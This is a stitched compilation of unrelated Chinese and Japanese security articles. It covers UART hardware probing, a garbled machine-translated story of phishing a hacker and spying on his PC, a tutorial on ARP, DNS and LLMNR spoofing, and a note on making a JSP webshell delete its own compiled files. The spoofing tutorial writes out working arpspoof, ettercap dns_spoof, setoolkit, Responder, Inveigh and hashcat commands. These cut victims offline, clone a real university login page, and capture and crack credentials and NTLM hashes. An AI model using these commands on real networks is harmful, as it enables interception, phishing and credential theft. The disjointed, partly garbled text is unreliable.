下面的連接器看起來類似於音頻連接器,它是一個四針連接器,其線纜可以連接到控制面板。只有一個接口我們還沒有考慮,那就是在機櫃的一側的USB連接器。如果我們將萬用表設置為連續模式,並將這個連接器的插腳與機櫃側面的USB連接器進行測試,我們發現它們確實是連接的,這是我們的外接USB接口。

我們已經確定了所有必須斷開的連接,以便更好地查看電路板。因此,我們只剩下幾件事情要檢查。當檢查PCB時,要尋找的一件事是任何未使用的測試焊盤或通孔。

如上圖所示,我們可以看到我們有三組不同的未填充的標頭或焊盤。在PCB的頂部,我們有三個通孔,通孔用於在PCB的多層之間進行連接。在檢查嵌入式系統時,此類通孔通常是一個很好的起點,因為它們可能代表開發期間使用的調試頭。

另一個未填充的是由16個焊盤組成,由一個白色矩形和一個小圓圈表示。這組焊盤可能是用於該板上不需要的另一個集成電路。

最後,最後一組焊盤看起來非常類似於用於USB和音頻的連接器。當查看未使用的焊盤時,像這樣的四腳連接通常是通過UART調試控制台的候選者,我們將在下一節中檢查這些標頭文件並討論UART。

檢查調試標頭在查看上一節中指出的未知標頭時,我通常從測量電壓開始。我們可以使用萬用表來做到這一點。為了計算這些焊盤上的電壓,我們將萬用表設置為直流測量模式,並在將黑色探頭放在接地點上的同時探測感興趣的位置。引腳測量如下:

19.png

這些線路上沒有電壓,雖然這令人失望,但並不意外。如果這是一個有源UART 或另一個正在傳輸的數字信號,我們會期望看到電壓波動形式的一些活動。讓我們繼續討論另一個三針接頭。

20.png

當測量這個連接器時,我們的第二個引腳在啟動時波動很大,然後穩定在3.3V。

注意:在搜索串行端口時,你可能並不總是看到這種幅度的電壓波動。波動與信號的活躍程度直接相關,這意味著如果流量很少,你將幾乎看不到波動。如果你懷疑你有UART 接頭或某種數字接口,最好使用邏輯分析儀進行檢查。

我們看到了可能看起來像信號活動的情況(基於電壓波動)。接下來,我們將使用邏輯分析器檢查此流量。邏輯分析儀幫助我們將這些電壓波動轉換為人類可讀的1 和0 序列。為此,我們將使用母母跳線(female-female jumper wire)將我們的邏輯分析儀連接到我們的兩個興趣點,如下圖所示:

22.jpg

分析儀連接後,我們將啟動Pulseview,從下拉菜單中選擇我們的分析儀,該設備在pulseview 中顯示為“Saleae Logic”設備。這個分析儀的最大捕獲速率是24MHz,我們將使用它來進行分析。我們還需要指定樣本數量,我已經將其設置為500G樣本。

23.png

我們將通過點擊運行啟動捕獲,然後使用這些設置啟動機櫃。

24.png

這樣,我們就捕獲了一些流量,在我們進一步討論pulseview 之前,讓我們先介紹一下UART如何在信號級別上工作。我們已經確認有某種流量通過這些線路傳輸;接下來,我們需要了解更多關於UART 流量以及如何分析它的知識。

UARTUART代表通用異步接收發送器,UART是一種允許兩個設備通信的二線製異步串行協議。每一方所需的兩條線路是傳輸(Tx)和接收(Rx)線路。 UART可以用於嵌入式系統中的許多事情,包括與其他處理器通信、傳感器通信和調試訪問。 UART是一種異步協議,意味著不需要時鐘信號。相反,通信雙方都預先配置為以一定的速度進行通信,稱為波特率。波特率以每秒位數為單位。

UART報文/傳輸由以下字段組成:

25.png

即使有了上面的數據包定義,我們也很難確定我們的邏輯捕獲的內容。幸運的是,Pulseview 有一個我們可以利用的UART 解碼器。

解碼UART通信使用pulseview ,我們可以嘗試解碼這個通信,看看它是否確實是一個活動的UART。要設置解碼器,請點擊下面的綠色和黃色符號。這將打開解碼器選擇窗口,在搜索欄中輸入uart,並選擇uart解碼器。

26.png

接下來,我們需要配置UART解碼器。我們需要選擇適當的頻道並設置此解碼器所需的任何協議特定參數。可配置參數如下:

27.png

首先,我們選擇我們的Rx 線路作為我們包含流量的通道;在我們的例子中,這將是D1。對於所有其他字段,我們將保留它們的默認值、8 位數據寬度、無奇偶校驗等。

有一件事我們需要自己調查和了解:波特率。請記住,雙方必須提前就波特率達成一致,沒有協商/啟動順序。我們需要自己確定波特率,否則,解碼器將不知道如何正確地解析這些信號。要確定波特率,我們可以執行以下操作。

1.放大看起來是最小的脈沖之一;

2.使用Pulseview中的數據標記選擇脈衝寬度,點擊下面的按鈕啟用它們;

3.選擇小脈衝範圍後,Pulseview會自動計算頻率並給出赫茲的測量值,如下圖所示。

29.png

赫茲的周期是每秒,我們的波特率是每秒位數的度量。因此,如果我們突出顯示了通過導線發送的一個位,以及這個脈衝的頻率,我們也得到了波特率。

根據Pulseview,我們計算的頻率是115.384 kHz,換算成波特率為115385位/秒。熟悉調試控制台的人可能會注意到,這非常接近常用的波特率115200。我們把這個值代入解碼器,看看會發生什麼。

如果我們查看下面的屏幕截圖,可以看到擁有看似有效的調試日誌。

30.png

我們有一個活躍的UART並且知道它的波特率,但是現在我們需要找到一種與它接口的方法。為此,我們將使用樹莓派。更新後的機櫃管腳如下:

31.jpg

配置樹莓派樹莓派有多個UARTS可用,我們將使用的UART在下圖中突出顯示:

32.png

我們需要確保啟用了適當的設備樹blob來啟用這個UART。設備樹blob的目的是為內核提供一種方法來理解可用的硬件外圍設備。內核將在啟動時讀取這些二進制信息,並枚舉指定的外設。在對嵌入式Linux系統進行逆向工程時,提取這些信息是有益的,因為可以對這些信息進行反編譯,並勾勒出各種外設在內存中的位置。

樹莓派上所有相關的設備樹blob 都可以位於/boot/overlays/中。在這個文件夾中,你會發現用於多種硬件配置的設備樹二進制對象,一些用於特定的帽子(為Pi設計的定制pcb),可以連接到Pi,其他用於啟用各種IO外圍設備。我們可以使用raspi-config工具為UART外設啟用適當的DTB。

01序文

最近さまよっています。私はたまたま経験プログラマーを雇って経験を奪うのを手伝っていたグループの誰かに会いました。 0日を集めました。また、最近書く記事がないと感じたので、社会で大物を試しました。

まず、ルーチンについて尋ねて、彼が何をしているのか見てみましょう。

1049983-20240509092510634-1287905194.jpg

この人は、batchexpを書くのを手伝ってくれる人を見つけたいと思っています

4uhkku1b4vj1240.png

それから、私が書くことができるふりをし、最初にトリックを作り、役割に入り、相手に私が本当に書くことができると思わせます。

3upg5q22mks1243.png

ここで、私は自分でテスト用のサイトを構築したと言った後、シェルをリンクして試してみるように頼みました。大丈夫ですか!

eppljet5wb21246.png

その後、ターゲットはオンラインではなく、彼は私が構築したサイトを他の2人の男性に送りました。

hq5xhbhmtnb1247.png

02テクノロジー番号1

私のソーシャルワーカーの特定の従業員のこの従業員は、実際にテクノロジーを理解していませんでした。彼は私のフィッシングページを彼らの下の2人の技術者に送りました。そのうちの1つはおそらく仮想マシンであり、もう1つは物理マシンでした。だから私はここで釣りを一つしか持っていません。

ここにはオンラインで2つのPCがあり、統一された外部IPエクスポートとカンボジアディスプレイの場所があります。それが真実かどうかは不明です。この人は、私たちがスクリプトキッドハッカーと呼んでいるものです。彼のPCが持っている情報をお見せしましょう。

wyzcp33y2pb1248.png

スクリプトトロイの木馬

nk1t11idlnj1250.png

あらゆる種類の本名証明書

10o4erlsfxg1253.png

さまざまなバッチハッキングツール

lapga1xujz21256.png

ブラックハットSEOキーワード

n0hbiuzz3bq1258.png

侵入に使用されるさまざまなVPSマシン

512i2vyqniv1259.png

さまざまなWebサイトを説明します

nihjuzj42k41260.png

03イントラネットの拡張と浸透

各プロセスには、一連の環境変数とその値を含む環境ブロックがあります。環境変数には、ユーザー環境変数とシステム環境変数の2種類があります。

ARP -Aが見ました。次のマシンが発見されました。 10ユニット以上。

192.168.1.1 78-44-FD-FD-55-B9ダイナミック

192.168.1.13 6C-8D-C1-18-AA-B2ダイナミック

192.168.1.24 DC-2B-2A-C2-22-15ダイナミック

192.168.1.42 8C-8E-F2-4F-26-8Fダイナミック

192.168.1.54 B0-FC-36-29-F7-AB AB Dynamic

192.168.1.62 B4-D5-BD-B2-29-E2ダイナミック

192.168.1.81 38-53-9C-EE-31-7Eニュース

192.168.1.83 38-71-DE-13-4F-D8ダイナミック

192.168.1.92 CC-29-F5-BC-B8-C1ダイナミック

192.168.1.119 CC-44-63-18-08-4Cダイナミック

192.168.1.137 6C-72-E7-5E-F9-7Eダイナミック

192.168.1.143 A4-D9-31-89-3D-C4ダイナミック

192.168.1.149 48-3B-38-45-4D-22ダイナミック

192.168.1.171 CC-29-F5-78-70-87ダイナミック

192.168.1.178 00-B3-62-7D-F6ダイナミック

192.168.1.206 B0-FC-36-30-79-7Bダイナミック

192.168.1.233 E4-F8-9C-9F-61-FEダイナミック

192.168.1.243 DC-41-5F-05-FE-EFダイナミック

192.168.1.255 ff-ff-ff-ff-ff-ff-ff-ff-ff static

224.0.0.22 01-00-5E-00-00-16静的

224.0.0.252 01-00-5E-00-00-FC静的

224.210.34.44 01-00-5E-52-22-2C静的

239.11.20.1 01-00-5E-0B-14-01静的

239.255.255.250 01-00-5E-7F-FF-FA静的

255.255.255.255 ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-fif static

現在計算されているWiFiアカウントのパスワードを読んで読んでください

Netsh WLANはプロファイルを表示します

すべてのユーザープロファイル: 2317RL-5G

すべてのユーザープロファイル: 2317-ATA-5G

すべてのユーザープロファイル: Huawei-D91c

すべてのユーザープロファイル: TP-Link_6a68

すべてのユーザープロファイル: airtel-e5573-8318

すべてのユーザープロファイル: TP-LINK_88T8

すべてのユーザープロファイル: TB-Link-96A9

netsh wlan showプロフィール名='上記の画像の構成ファイル名を入力してください'

lis0oar2dy01261.png

情報を収集し続けます

これは、ネットワークに行くハッカーです

uedwaawjzdk1262.png

04 second

3日間の監視の後、ハッカーの収益性が発見されました。この人は、次のようにBCのプロキシ管理プラットフォームを開設しました。

3aevvqjec2u1263.png

彼のアカウントを分析した後、彼はそれがエージェントアカウントであることを発見しました。次に、分析のためにアプリをダウンロードします。上記はすべて、タイム宝くじと競馬のようなギャンブルゲームです。しかし、彼はレーシングカーです。背景は、多くのロボットを生成して、多くの人があなたと遊んでいることを作り出します。

uikcujnsz0j1264.png

ロボットだけで240以上に達しました

オンラインでは10人未満の実際のユーザーがいます

n5hmnmqdhwf1266.png

io1wxnzloal1267.png

ハッカーの毎日の仕事は次のとおりです。

最新のUEDITORアップロード脆弱性、IIS7.5の脆弱性の解析、DEDECMSの脆弱性、およびその他のバッチの脆弱性など、0Dayの脆弱性を通じて、

最も一般的に使用されるツールは、バッチツールです

djs3qzjlphm1269.png

flsxoprnuyr1272.png

hlx03ciraww1275.png

次に、BCページをアップロードし、ユーザーにアプリをダウンロードしてから、エージェントとして行動している部屋に入ります。このようにして、部屋のユーザーが充電するお金はエージェントにカウントされ、それによって収益性を達成します

現在のところ、ハッカーはまだIIS7.5の解像度の脆弱性を実行しています。

qizshbihwuy1277.png

UEDITORのアップロード脆弱性をバッチするために、300を超えるW URLがインポートされています。

元のリンクアドレス:https://www.hackdoor.org/d/216-bc

ARP攻击

协议简介

ARP全称为Address Resolution Protocol,即地址解析协议,它是一个根据IP地址获取物理地址的TCP/IP协议,主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,故而攻击者可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。

工作原理

环境假设

主机A:

  • IP地址:192.168.1.1
  • MAC地址:0A-11-22-33-44-01

主机B:

  • IP地址:192.168.1.2
  • MAC地址:0A-11-22-33-44-02
工作流程
  • 第1步:根据主机A上的路由表内容,确定用于访问主机B的转发IP地址是192.168.1.2,然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址
  • 第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广 播到本地网络上的所有主机,源主机A的IP地址和MAC地址都包括在ARP请求中,本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配,如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求
  • 第3步:主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中
  • 第4步:主机B将包含其MAC地址的ARP回复消息直接发送回主机A
  • 第5步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存,本机缓存是有生存期的,生存期结束后,将再次重复上面的过程,主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了
缓存机制

ARP缓存是一个用来储存IP地址和MAC地址的缓冲区,其本质就是一个IP地址->MAC地址的对应表,表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址,每一个以太网或令牌环网络适配器都有自己单独的表,当地址解析协议被询问一个已知IP地址节点的MAC地址时,先在ARP缓存中查看,若存在,就直接返回与之对应的MAC地址,若不存在,才发送ARP请求向局域网查询,为了使广播量最小,ARP维护IP地址到MAC地址映射的缓存以便将来使用
ARP缓存可以包含动态和静态项目,动态项目随时间推移自动添加和删除,每个动态ARP缓存项的潜在生命周期是10分钟,新加到缓存中的项目带有时间戳,如果某个项目添加后2分钟内没有再使用,则此项目过期并从ARP缓存中删除,如果某个项目已在使用,则又收到2分钟的生命周期,如果某个项目始终在使用,则会另外收到2分钟的生命周期,一直到10分钟的最长生命周期,静态项目一直保留在缓存中,直到重新启动计算机为止

ARP欺骗

ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,它的诞生使得网络能够更加高效的运行,但其本身也存在缺陷,ARP地址转换表依赖于计算机中高速缓冲存储器动态更新的,而高速缓冲存储器的更新是受到更新周期的限制的,只保存最近使用的地址的映射关系表项,这使得攻击者有了可乘之机,可以在高速缓冲存储器更新表项之前修改地址转换表,实现攻击。
ARP请求为广播形式发送的,网络上的主机可以自主发送ARP应答消息,并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换表,这样攻击者就可以向目标主机发送伪ARP应答报文,从而篡改本地的MAC地址表,ARP欺骗可以导致目标计算机与网关通信失败,更会导致通信重定向,所有的数据都会通过攻击者的机器,攻击者再对目标和网关之间的数据进行转发,则可作为一个"中间人",实现监听目标却又不影响目标正常上网的目的。

欺骗实践

基本环境
  • 攻击主机:192.168.174.129 00:0c:29:39:be:eb
  • 普通主机:192.168.174.170 00:0c:29:08:ad:eb
  • 网关地址:192.168.174.2
断网攻击

Step 1:在攻击主机上关闭端口转发

#终止
echo 0 > /proc/sys/net/ipv4/ip_forward
#允许
echo 1 > /proc/sys/net/ipv4/ip_forward

etxq4ntprth14850.jpg

Step 2:在普通主机上查看当前ARP解析列表

oyqhf1kcxmj14854.jpg

Step 3:在普通主机上向百度进行ping试

ping www.baidu.com -t

55dzjphnsmj14856.jpg

可以正常访问百度:

uktgditaz2r14859.jpg


Step 4:之后在攻击主机上通过aprspoof进行断网攻击

Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

# 参数解释:
-i 指定使用的接口
-c 指定当还原arp配置时t使用的MAC地址,默认为使用原来的MAC(即当停止arpspoof命令后,默认取消毒化)
-t 指定要毒化的主机,如果不指定的话默认为局域网下所有主机
-r 双向毒化(host和target),从而双向扑捉数据(仅当同时指定 -t的时候才有效

#执行示例:
arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

hgd4pzhiy5f14862.jpg

Step 5:之后可以看到ping请求超时,同时浏览器无法打开www.baidu.com,同时查看ARP解析表会发现网关的MAC地址被成功欺骗后设置成了攻击者的MAC地址

kewizouqhbw14864.jpgStep 6:之后中断攻击(由于我们之前没有指定-c参数所以会还原原先的MAC地址)upxsbvdcnqq14868.jpg

可以看到ping恢复正常,同时页面和ARP表也恢复正常

wujko52botv14870.jpg

图片数据

Step 1:开启端口转发,允许本机像路由器一样转发数据信息

echo 1 > /proc/sys/net/ipv4/ip_forward

jvtfzd1zrg114872.jpg

Step 2:在普通主机上查看当前ARP解析列表

czrvshc03br14874.jpg

Step 3:在普通主机上访问Web页面

emd1t11nhki14877.jpg

Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

# 参数解释
-i 指定使用的接口
-c 指定当还原arp配置时t使用的MAC地址默认为使用原来的MAC即当停止arpspoof命令后默认取消毒化)
-t 指定要毒化的主机如果不指定的话默认为局域网下所有主机
-r 双向毒化host和target),从而双向扑捉数据仅当同时指定 -t的时候才有效

#执行示例
arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

fjv4hrpisll14879.jpg

Step 5:之后driftnet 获取受害者用户访问网站时残留的图片数据信息

iel0ayl4qky14881.jpgdxxgemikz3c14884.jpg1tohygfpxeg14887.jpg

登录凭证

Step 1:这里我们接着上面图片数据的部分展开,我们在攻击主机上使用ettercap捕获通信数据

ettercap -Tq -i eth0

44imht2he5214890.jpg

Step 2:模拟一个第三方FTP服务

atdusqusi2n14894.jpg

Step 3:用户访问第三方FTP服务并进行认证

wz0dkuqn1rv14896.png

Step 4:攻击者成功捕获到用户的账户密码信息

whin4gd3kt014898.jpg

欺骗扩展

这里我们补充几个在Windows下常用的ARP欺骗手法以及ARP欺骗工具的使用~

NetFuke
测试环境
  • 目标主机:192.168.174.170(Win 7)
  • 攻击主机:192.168.174.169(Windows Server 2003)
  • 网关地址:192.168.174.2
欺骗流程

Step 1:在攻击主机上运行NetFuke软件并进行嗅探配置(此处的网卡必须要识别出来IP地址,否则无法进行ARP欺骗)

5rz5el2r1g214899.png

Step 2:配置ARP欺骗

fvmd3tpshww14903.png

Step 3:插件命令参数设置

tjggldx5toh14904.jpg

Step 4:开启ARP欺骗

p5fzrmdyksi14909.png

攻击检测

XArp工具简介

XArp是国外的一款热门的ARP防火墙软件,能够帮助用户建立一个专门的检测系统,使用高级技术来检测应对网络上的各类ARP攻击,例如,使用ARP欺骗,攻击者可以窃听您的所有网络流量,包含电子邮件与密码,所有这一切都完全没有被发现,XArp执行主动与被动方法来检测此类攻击。

攻击检测

Step 1:开启NetFuke实施ARP欺骗攻击

mrizbyhfekb14912.png

Step 2:之后再XARP端可以看到报警信息以及相关记录信息

5q3fsp2t4fw14917.jpg


PS:个人感觉这个工具并不是那么好~

防御措施

ARP欺骗的防御手法主要从以下两个方面出发:
a、阻断伪造数据包的传播:
该方法主要是从交换机或者路由器等网络设备的角度出发,以交换机为例,将交换机的端口、MAC地址、IP地址三者绑定,生成DAI(Dynamic ARP Inspection)检测表,如果某个端口的主机发送了与它在DAI表中的条目不相符的数据包,可以选择令其断网或者丢弃其发送的数据包
b、受害者不接受伪造数据包
该方法主要是从用户的角度出发,首先不要随便接入陌生的网络是一定的,其次,用户可以在设备上安装ARP防火墙,如果是技术人员,可以选择建立静态ARP条目(适用于不会经常变动且数量较少的网络环境),Windonwde用户使用命令"arp -s ip"地址mac地址来进行静态绑定

DNS攻击

域名系统

DNS(Domain Name System),即域名解析协议,域名系统以分布式数据库的形式将域名和IP地址相互映射,简单来说,DNS是用来解析域名的,有了DNS我们就不用再记住烦人的IP地址,用相对好记的域名就可以对服务器进行访问,即使服务器更换了IP地址,我们依旧可以通过域名访问该服务器,这样能够使我们更方便的访问互联网


1ml3oqw12ma14933.png



当我们在浏览器中输入www.baidu.com后,将经历以下查询过程:

  • 客户机向本地DNS服务器查询www.baidu.com
  • 本地DNS服务器检查本地数据库,由于没有baidu.com域的记录,因此它将查询信息传递到根域DNS服务器,请求解析主机名称
  • 根域DNS服务器把负责解析"com"域的DNS服务器的IP地址返回给本地DNS服务器
  • 本地DNS服务器将请求发送给负责"com"域的DNS服务器
  • 负责"com"域的服务器根据请求将负责"baidu.com"域的DNS服务器的IP地址返回给本地DNS服务器
  • 本地DNS服务器向负责"baidu.com"区域的DNS服务器发送请求,由于此服务器具有www.baidu.com的记录,因此它将www.baidu.com 的IP地址返回给本地DNS服务器
  • 本地DNS服务器将www.baidu.com的IP地址发送给客户机
  • 域名解析成功后,客户机将http请求发送给Web服务器
  • Web服务器响应客户机的访问请求,客户机便可以访问目标主机

DNS欺骗

DNS在互联网中扮演着如此重要的角色,但是在设计DNS协议时,设计者没有考虑到一些安全问题,导致了DNS的安全隐患与缺陷,DNS欺骗就是利用了DNS协议设计时的一个非常严重的安全缺陷
首先,欺骗者向目标机器发送构造好的ARP应答数据包,ARP欺骗成功后,嗅探到对方发出的DNS请求数据包,分析数据包取得ID和端口号后,向目标发送自己构造好的一个DNS返回包,对方收到DNS应答包后,发现ID和端口号全部正确,即把返回数据包中的域名和对应的IP地址保存进DNS缓存表中,而后来的真实的DNS应答包返回时则会被丢弃

欺骗实践

测试环境
  • 攻击主机:192.168.174.129
  • 目标主机:192.168.174.170
简易测试

Step 1:测试攻击主机的网络连通性

kdzyxr5hgyg14935.jpg

Step 2:之后在攻击者主机端启动Apache服务并构造一个钓鱼页面,这里简化为一个普通的HTML页面,本地测试效果如下

sj2o3yithkx14937.png

Step 3:查找etter.dns文件,并修改该配置文件,将www.al1ex.com指向本机IP地址

locate etter.dns
leafpad /etc/ettercap/etter.dns

ab4dnf2y44e14940.jpg1xh4gqoephb14942.jpg

Step 4:使用ettercap开始欺骗

ettercap -G

tke1qlggumm14946.jpg

之后开启DNS欺骗

zhgbtlaojn114951.pngznrqaaswdqv14952.pngq40230muwrm14954.png

Step 5:查看效果
www.baidu.com——正常访问

5bwxllxg3pn14956.jpg


www.al1ex.com——钓鱼页面

noxfns4vmcb14961.jpg

DNS欺骗记录:

ibnn32k5vcz14963.png

钓鱼模拟

Step 1:开启端口转发功能

echo 1 > /proc/sys/net/ipv4/ip_forward

zv2i5ft3n0z14965.jpg

Step 2:查找etter.conf文件,并修改该配置文件

locate etter.conf
leafpad /etc/ettercap/etter.conf

nalxdirkdw114967.jpg

修改为0

5sayhq0r23t14970.jpg

Step 3:查找etter.dns文件,并修改该配置文件

locate etter.dns
leafpad /etc/ettercap/etter.dns

m2v3sv4ayqk14972.jpg

增加一条DNS记录,这里的域名由我们制作的钓鱼网站域名而定:

1yi4zhcz2df14975.jpg


Step 4:下面进行DNS欺骗攻击

ettercap -T -q -M arp:remote -P dns_spoof /192.168.174.170/192.168.174.2/

#说明:
受害者地址:192.168.174.170
网关的地址:192.168.174.2

fd3grfla3ri14979.jpg

Step 5:使用setoolkit克隆网站

setoolkit

oukcw4fnwqq14982.jpgr2ssjtrl41c14984.jpgsv3n5ob5gv514986.jpg1ct0ehelx1y14987.jpg

http://jwbinfosys.zju.edu.cn/default2.aspx

Step 6:在本地访问克隆网站

jseij42xt2b14990.jpg

Step 7:之后诱导用户访问网站

zwsx42gq1wh14992.jpg


效果有点差强人意,不过当用户访问网站并登录时,会获取到用户的登录凭证信息(后期发现是IE的安全策略的原因)

dhshh4diggw14993.jpg

DNS欺骗记录:

zbqg0zjestz14994.jpg

防御措施

DNS欺骗是很难进行有效防御的,因为大多情况下都是被攻击之后才会发现,对于避免DNS欺骗所造成危害,这里给出以下建议:
1、因为DNS欺骗前提也需要ARP欺骗成功,所以首先做好对ARP欺骗攻击的防范
2、不要依赖于DNS,尽管这样会很不方便,可以使用hosts文件来实现相同的功能
3、使用安全检测软件定期检查系统是否遭受攻击
4.使用DNSSEC

hn40tmw02ii14996.png

LLMNR攻击

协议简介

自Windows Vista起,Windows操作系统开始支持一种新的名称解析协议—LLMNR,主要用于局域网中的名称解析,LLMNR能够很好的支持IPv4和IPv6,它也是一个仅次于DNS的名称解析方式,而且在Linux操作系统中也实现了LLMNR,LLMNR协议解析名称的特点为端到端,IPv4的广播地址为224.0.0.252,IPv6的广播地址为FF02:0:0:0:0:0:1:3或FF02::1:3

解析顺序

  • 检查本地NetBIOS缓存,如果缓存中没有记录,则向当前子网/域发送广播进行查询
  • 检查当前子网/域内主机,如果没有主机响应,则整个请求宣告以失败结束

协议风险

根据LLMNR协议的解析过程可知,当用户访问一个不存在的网络的域名时,例如:Al1ex.com,那么首先会去检查本地NetBIOS缓存,由于缓存记录中没有,进而转去向当前子网/域内进行广播查询,此时如果攻击者进行恶意应答,例如:欺骗用户Al1ex.com为攻击者的服务器端IP地址,那么用户便会先攻击者提供的恶意IP地址发起请求,同时使用用户的Net-NTLM进行身份验证,此时攻击者通过LLMNR投毒的方式即可成功捕获到用户的身份信息,示意图如下:

协议攻击

攻击者可以通过LLMNR协议进行投毒攻击,当用户访问某一个无法解析的域名(不存在/拼写错误)时可以使用LLMNR协议投毒的方式将攻击者主机的IP地址作为应答,之后窃取用户的Net-NTLM Hash

演示环境
  • 域控主机:192.168.174.2
  • 域内主机:192.168.174.4
  • 攻击主机:192.168.174.129
攻击手法

下面我们通过两种方式来演示如何进行LLMNR/NBNS欺骗攻击~

Responder

Step 1:在攻击主机上执行一下命令开启Responder

./Responder.py -I eth0

5xohdbff04l15003.jpg

Step 2:之后模拟受害者访问不存在的\Al1ex.com(可以通过钓鱼的方式或者恶意PDF等众多的方式来实现)

ulksdzb1fja15008.jpg

Step 3:之后在Responder端可以成功捕获到用户的NTLM-Hash

ocjxy5e12vl15010.jpg

Step 4:之后对用户的NTLM-Hash进行爆破(NTLM V1为5500,NTLM v2为5600)

hashcat -m 5600 HTTP-NTLMv2-192.168.174.111.txt passkey.txt
Inveigh实现

Inveigh下载地址:https://github.com/Kevin-Robertson/Inveigh
Step 1:之用管理员权限打开攻击机器的powershell依次输入以下命令

. .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y

#PS:如果有执行策略限制再加一条Set-ExecutionPolicy Bypass -Scope Process

Step 2:模拟受害者用户访问不存在的UNC路径,且无需认

hd4qriholsf15013.jpg

Step 3:之后再攻击主机中可以看到已经成功抓取到Net-NTLM Hash

dwiduk4hval15014.png

Inveigh-Zero

项目地址:https://github.com/Kevin-Robertson/InveighZero

btzgrkutti515018.jpg


Step 1:之用管理员权限打开攻击机器的cmd之后执行以下命令

Inveigh.exe

Step 2:模拟用户在浏览器中输入错误的UNC查询路径,且无需填写表单信息

5mygawynngn15028.jpg

Step :3:之后可以捕获到用户的Net-NTLM Hash

zomsdu4nu1c15032.jpg

防御措施

关于LLMNR Poison攻击的实战思路有很多,包括劫持FTP,MySQL,MSSQL Server等,具体的实现可自由发挥,同时为了防止遭到LLMNR Poison攻击,可以导入下面的注册表键值关闭LLMNR,不过关闭了LLMNR以后, 可能用户的一些正常需求会受到影响~

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f

0x00 前言我們知道,當我們訪問jsp文件時,Java環境會先將jsp文件轉換成.class字節碼文件,再由Java虛擬機進行加載,這導致了Java服務器上會生成對應名稱的.class字節碼文件。對於webshell,這會留下痕跡。

為了實現自刪除.class字節碼文件,我們可以通過反射獲得.class字節碼文件的路徑,再進行刪除。本文將以Zimbra環境為例,結合AntSword-JSP-Template,分析利用思路。

0x01 簡介本文將要介紹以下內容:

通過反射實現webshell編譯文件的自刪除

通過反射實現AntSword-JSP-Template

0x02 通過反射實現webshell編譯文件的自刪除根據上篇文章《Java利用技巧——通过反射修改属性》 的內容,我們按照映射request-_scope-_servlet-rctxt-jsps,通過多次反射最終能夠獲得JspServletWrapper實例

查看JspServletWrapper類中的成員,jsps-value-ctxt-servletJavaFileName保存.java編譯文件的路徑,jsps-value-ctxt-classFileName保存.class編譯文件的路徑,示例如下圖

48089bb33938b0af1f537735f2b22e7.png

為了只篩選出當前jsp,可以通過request類的getServletPath()方法獲得當前Servlet,如下圖

68075c340130695b19341cc9816c870.png

從ctxt對象獲取servletJavaFileName可以調用JspCompilationContext類的getServletJavaFileName()方法,如下圖

c9c3600a846f3f03cd5ab0ba7015001.png

從ctxt對象獲取classFileName可以調用JspCompilationContext類的getClassFileName()方法,如下圖

74f06978d9b03ead4f10be6764000fb.png

綜上,由此我們可以得出通過反射獲取編譯文件路徑的實現代碼如下:

image.png

刪除編譯文件的代碼如下:

image.png

0x03 通過反射實現AntSword-JSP-Templaterebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 介紹了Java一句話木馬的實現方法,AntSword-JSP-Template也採用了相同的方式

我在測試AntSword-JSP-Template的過程中,發現編譯文件會多出一個,例如test.jsp,訪問後,生成的編譯文件為test_jsp.class和test_jsp.java,如果使用了AntSword-JSP-Template,會額外生成編譯文件test_jsp$U.class

rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 提到:

“正常情況下,Java並沒有提供直接解析class字節數組的接口。不過classloader內部實現了一個protected的defineClass方法,可以將byte[]直接轉換為Class

因為該方法是protected的,我們沒辦法在外部直接調用,當然我們可以通過反射來修改保護屬性,不過我們選擇一個更方便的方法,直接自定義一個類繼承classloader,然後在子類中調用父類的defineClass方法。 ”

這裡我打算通過反射修改保護屬性,調用ClassLoader類的defineClass()方法

在ClassLoader類中,defineClass()方法有多個重載,如下圖

6a71d8fd889bc319c50c39e4599605b.png

這裡選擇defineClass(byte[] b, int off, int len)

rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 還提到:

“如果想要順利的在equals中調用Request、Response、Seesion這幾個對象,還需要考慮一個問題,那就是ClassLoader的問題。JVM是通過ClassLoader+類路徑來標識一個類的唯一性的。我們通過調用自定義ClassLoader來defineClass出來的類與Request、Response、Seesion這些類的ClassLoader不是同一個,所以在equals中訪問這些類會出現java.lang.ClassNotFoundException異常”

解決方法同樣是複寫ClassLoader的如下構造函數,傳遞一個指定的ClassLoader實例進去:

image.png

最終,得到通過反射實現AntSword-JSP-Template的核心代碼:

image.png

訪問通過反射實現AntSword-JSP-Template的test.jsp後,額外生成的編譯文件為test_jsp$1.class

0x04 小結本文介紹了通過反射實現webshell編譯文件自刪除和AntSword-JSP-Template,記錄關於反射的學習心得。

首先,我们需要登录腾讯云,开启云函数。
登录腾讯云后,搜索云函数。开通即可。
zsse3faa1oi14797.png


初次登录,需要授权。
